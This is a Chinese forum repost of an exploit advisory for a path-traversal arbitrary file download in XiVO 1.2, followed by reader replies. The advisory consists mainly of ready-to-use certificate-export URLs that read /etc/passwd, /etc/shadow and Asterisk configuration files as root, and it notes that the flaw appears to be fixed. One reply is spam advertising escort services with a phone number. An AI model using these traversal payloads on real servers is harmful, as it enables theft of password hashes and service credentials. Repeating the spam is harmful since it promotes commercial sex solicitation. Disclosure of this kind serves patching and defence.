Xivo 1.2任意文件下载

admin

Xivo 1.2 Arbitrary File Download under root privileges作者 : Mr.Un1k0d3r
开发者: https://wiki.xivo.fr
下载地址: https://wiki.xivo.fr/index.php/X ... nstall_XiVO_With_CD
影响版本: 1.2 (last patched version)
测试版本: Linux xivo 2.6.32-5-486

测试利用:
Using the web interface you can download any file from the system. The web application is running under root privileges.
You can download clear text password, /etc/passwd, /etc/shadow and many more...

利用方法:
https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/passwd
https:// www.2cto.com /xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/shadow
https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/asterisk/manager.conf
https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/asterisk/cel_pgsql.conf

缺陷发现者 Mr.Un1k0d3r From RingZer0 Team.

注释:
This appears to have been fixed
https://projects.xivo.fr/issues/3912
http://git.xivo.fr/?p=official/xivo-skaro.git;a=commit;h=127ab43e6d8e8ed94f16ff388fb62fd611a40e19

军曹大哥

好帖子，要顶！

孤独的我

支持你就顶你  

冬蕾华

【186-1098-1728】北京哪里有找【186-1098-1728】北京哪里有找放松您的心灵,愉悦您的心情186-1098-1728：提供学生，少妇，白领，模特，欧美日韩女孩

华波勇

在线等在线等  

竹丝鸡

慢慢来，呵呵  

银色子弹

严重支持！

幻墨如烟

勤奋真能造就财富吗？